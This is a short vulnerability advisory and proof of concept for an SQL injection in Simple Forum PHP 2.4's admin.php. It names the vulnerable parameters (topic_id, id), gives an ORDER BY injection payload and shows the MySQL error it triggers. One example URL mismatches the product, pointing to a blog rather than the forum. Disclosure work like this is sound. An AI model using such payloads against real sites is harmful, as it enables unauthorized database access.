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# Simple Forum PHP 2.4 - SQL Injection
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# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
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# PoC:
Vulnerable Url:
http://localhost/forum/admin.php?act=replies&topic_id=[payload]
http://localhost/forum/admin.php?act=editTopic&id=[payload]
Vulnerable parameter : topic_id , id
Mehod : GET

A simple inject :
Payload : '+order+by+100--+
http://simpleblogphp.com/blog/admin.php?act=editPost&id=1'+order+by+999--+

In response can see result :
Could not execute MySQL query: SELECT * FROM demo_forum_topics WHERE
id='' order by 100-- ' . Error: Unknown column '100' in 'order clause'

Result of payload: Error: Unknown column '100' in 'order clause'
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# Discovered By : Ehsan Hosseini
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